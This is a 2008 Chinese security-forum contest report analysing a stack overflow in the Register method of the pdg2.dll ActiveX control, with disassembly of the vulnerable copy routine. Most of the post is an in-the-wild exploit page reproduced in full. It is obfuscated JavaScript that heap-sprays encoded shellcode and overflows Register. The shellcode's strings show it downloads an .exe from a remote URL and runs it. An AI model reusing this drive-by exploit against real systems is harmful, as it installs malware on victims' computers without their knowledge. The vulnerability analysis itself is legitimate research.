首页
社区
课程
招聘
[原创]xee的B题分析报告
发表于: 2008-1-1 22:07 21963

[原创]xee的B题分析报告

2008-1-1 22:07
21963
其实我不会分析activex的漏洞,胡乱整点,希望不要介意啊:)

提交者看雪ID:xee
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
程序员
漏洞定位:
以前没有分析过activex的漏洞,所以我也不说我会定位这个漏洞,经过IDA分析,再加上google搜索,确定这是一个pdg2.dll的0day漏洞

漏洞描述及危害分析:
在网上我找到有漏洞的函数是[id(0x00000044), helpstring("method Register")]
HRESULT Register(
                [in] BSTR RegCode,
                [in] BSTR UserName,
                [out, retval] long* pVal);
当传入的UserName超长时就造成栈溢出,当然网上是没有告诉细节的,通过IDA和ollydbg分析发现漏洞函数如下,
063201B0    55              push    ebp
063201B1    8BEC            mov     ebp, esp
063201B3    81EC 00010000   sub     esp, 100 //注意,分配的堆栈的0x100个字节,加上上面的push ebp,4个节字节,只要我们传入的数据长度为0x108个节节就会覆盖这个函数返回地址。造成溢出.
063201B9    8B45 0C         mov     eax, dword ptr [ebp+C]
063201BC    53              push    ebx
063201BD    8B5D 10         mov     ebx, dword ptr [ebp+10]
063201C0    56              push    esi
063201C1    85C0            test    eax, eax
063201C3    57              push    edi
063201C4    75 1A           jnz     short 063201E0
063201C6    85DB            test    ebx, ebx
063201C8    75 1E           jnz     short 063201E8
063201CA    8B45 14         mov     eax, dword ptr [ebp+14]
063201CD    8918            mov     dword ptr [eax], ebx
063201CF    33C0            xor     eax, eax
063201D1    8DA5 F4FEFFFF   lea     esp, dword ptr [ebp-10C]
063201D7    5F              pop     edi
063201D8    5E              pop     esi
063201D9    5B              pop     ebx
063201DA    8BE5            mov     esp, ebp
063201DC    5D              pop     ebp
063201DD    C2 1000         retn    10

06301990    56              push    esi
06301991    8D91 811E0000   lea     edx, dword ptr [ecx+1E81]
06301997    57              push    edi
06301998    B9 40000000     mov     ecx, 40
0630199D    33C0            xor     eax, eax
0630199F    8BFA            mov     edi, edx
063019A1    F3:AB           rep     stos dword ptr es:[edi]
063019A3    8B7C24 0C       mov     edi, dword ptr [esp+C]
063019A7    83C9 FF         or      ecx, FFFFFFFF
063019AA    F2:AE           repne   scas byte ptr es:[edi]
063019AC    F7D1            not     ecx
063019AE    2BF9            sub     edi, ecx
063019B0    8BC1            mov     eax, ecx
063019B2    8BF7            mov     esi, edi
063019B4    8BFA            mov     edi, edx
063019B6    C1E9 02         shr     ecx, 2
063019B9    F3:A5           rep     movs dword ptr es:[edi], dword p>//这里就是把传入的数据写入堆栈,这里我们可以构造数据覆盖返回地址,造成溢出,哈哈
063019BB    8BC8            mov     ecx, eax
063019BD    B8 01000000     mov     eax, 1
063019C2    83E1 03         and     ecx, 3
063019C5    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
063019C7    5F              pop     edi
063019C8    5E              pop     esi
063019C9    C2 0400         retn    4

shellcode描述
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
网上搜索到的0day
<body>
<script>window.onerror=function(){return true;}</script>
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" style='display:none' id='target'></object>
<SCRIPT language="javascript">
var el1s2kdo3r = "hi1265369";
var shellcode = unescape(""+""+""+"%u9090"+""+""+""+"%u9090"+
""+""+""+"%uefe9"+""+""+"%u0000"+""+""+"%u5a00"+""+""+"%ua164"+""+""+"%u0030"+""+""+"%u0000"+""+""+"%u408b"+""+""+"%u8b0c" +
""+""+""+"%u1c70"+""+""+"%u8bad"+""+""+"%u0840"+""+""+"%ud88b"+""+""+"%u738b"+""+""+"%u8b3c"+""+""+"%u1e74"+""+""+"%u0378" +
""+""+""+"%u8bf3"+""+""+"%u207e%ufb03"+""+""+"%u4e8b%u3314"+""+""+"%u56ed"+""+""+"%u5157"+""+""+"%u3f8b" +
""+""+""+"%ufb03"+""+""+"%uf28b"+""+""+"%u0e6a"+""+""+"%uf359"+""+""+"%u74a6"+""+""+"%u5908"+""+""+"%u835f"+""+""+"%u04c7" +
""+""+""+"%ue245"+""+""+"%u59e9"+""+""+"%u5e5f"+""+""+"%ucd8b"+""+""+"%u468b"+""+""+"%u0324"+""+""+"%ud1c3"+""+""+"%u03e1" +
""+""+""+"%u33c1"+""+""+"%u66c9%u088b"+""+""+"%u468b"+""+""+"%u031c"+""+""+"%uc1c3"+""+""+"%u02e1"+""+""+"%uc103" +
""+""+""+"%u008b"+""+""+"%uc303"+""+""+"%ufa8b"+""+""+"%uf78b"+""+""+"%uc683"+""+""+"%u8b0e"+""+""+"%u6ad0"+""+""+"%u5904" +
""+""+""+"%u6ae8"+""+""+"%u0000"+""+""+"%u8300%u0dc6"+""+""+"%u5652"+""+""+"%u57ff"+""+""+"%u5afc"+""+""+"%ud88b" +
""+""+""+"%u016a"+""+""+"%ue859"+""+""+"%u0057"+""+""+"%u0000"+""+""+"%uc683"+""+""+"%u5613"+""+""+"%u8046"+""+""+"%u803e" +
""+""+""+"%ufa75"+""+""+"%u3680"+""+""+"%u5e80"+""+""+"%uec83"+""+""+"%u8b40"+""+""+"%uc7dc"+""+""+"%u6303"+""+""+"%u646d" +
""+""+""+"%u4320"+""+""+"%u4343%u6643"+""+""+"%u03c7"+""+""+"%u632f"+""+""+"%u4343"+""+""+"%u03c6"+""+""+"%u4320" +
""+""+""+"%u206a"+""+""+"%uff53"+""+""+"%uec57"+""+""+"%u04c7"+""+""+"%u5c03"+""+""+"%u2e61"+""+""+"%uc765"+""+""+"%u0344" +
""+""+""+"%u7804%u0065"+""+""+"%u3300"+""+""+"%u50c0"+""+""+"%u5350"+""+""+"%u5056"+""+""+"%u57ff"+""+""+"%u8bfc" +
""+""+""+"%u6adc"+""+""+"%u5300"+""+""+"%u57ff"+""+""+"%u68f0"+""+""+"%u2451"+""+""+"%u0040"+""+""+"%uff58"+""+""+"%u33d0" +
""+""+""+"%uacc0"+""+""+"%uc085"+""+""+"%uf975"+""+""+"%u5251%u5356"+""+""+"%ud2ff"+""+""+"%u595a"+""+""+"%ue2ab" +
""+""+""+"%u33ee"+""+""+"%uc3c0"+""+""+"%u0ce8"+""+""+"%uffff"+""+""+"%u47ff"+""+""+"%u7465"+""+""+"%u7250"+""+""+"%u636f" +
""+""+""+"%u6441"+""+""+"%u7264"+""+""+"%u7365"+""+""+"%u0073"+""+""+"%u6547"+""+""+"%u5374"+""+""+"%u7379"+""+""+"%u6574" +
""+""+""+"%u446d"+""+""+"%u7269"+""+""+"%u6365"+""+""+"%u6f74"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u6957"+""+""+"%u456e" +
""+""+""+"%u6578%u0063"+""+""+"%u7845"+""+""+"%u7469"+""+""+"%u6854"+""+""+"%u6572"+""+""+"%u6461"+""+""+"%u4c00" +
""+""+""+"%u616f"+""+""+"%u4c64"+""+""+"%u6269"+""+""+"%u6172"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u7275"+""+""+"%u6d6c" +
""+""+""+"%u6e6f"+""+""+"%u5500"+""+""+"%u4c52"+""+""+"%u6f44"+""+""+"%u6e77"+""+""+"%u6f6c"+""+""+"%u6461"+""+""+"%u6f54" +
""+""+""+"%u6946"+""+""+"%u656c"+""+""+"%u0041%u7468"+""+""+"%u7074"+""+""+"%u2f3a"+""+""+"%u702f"+""+""+"%u6369" +
""+""+""+"%u312e%u2e36"+""+""+"%u6776"+""+""+"%u532f"+""+""+"%u3633%u2f38"+""+""+"%u3353"+""+""+"%u3836" +
""+""+""+"%u2e32"+""+""+"%u7865"+""+""+"%u8065"+""+""+"%u0000");
</script>
<SCRIPT language="javascript">
var el1s2kdo3r = "hi1265369";
var bigblock = unescape(""+""+""+"%u9090"+""+""+"%u9090");
var el1s2kdo3r = "hi1265369";
var headersize = 20;
var el1s2kdo3r = "hi1265369";
var slackspace = headersize+shellcode.length;
var el1s2kdo3r = "hi1265369";
while (bigblock.length<slackspace) bigblock+=bigblock;
var el1s2kdo3r = "hi1265369";
fillblock = bigblock.substring(0, slackspace);
var el1s2kdo3r = "hi1265369";
block = bigblock.substring(0, bigblock.length-slackspace);
var el1s2kdo3r = "hi1265369";
while(block.length+slackspace<0x40000) block = block+block+fillblock;
var el1s2kdo3r = "hi1265369";
memory = new Array();
var el1s2kdo3r = "hi1265369";
for (x=0; x<100; x++) memory[x] = block +shellcode;
var el1s2kdo3r = "hi1265369";
var buffer = '';
var el1s2kdo3r = "hi1265369";
while (buffer.length < 1024) buffer+="\x05";
var el1s2kdo3r = "hi1265369";
var ok="1111";
var el1s2kdo3r = "hi1265369";
target.Register(ok,buffer);
var el1s2kdo3r = "hi1265369";
</script>
</body>
<mEtA Http-Equiv="Content-TypE" content="TeXt/htMl; CharSet=Us-AsCiI" />

exploit运行截图
可以造成程序崩溃,呵呵

稳定性与通用性论证

创新性论证(可选)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//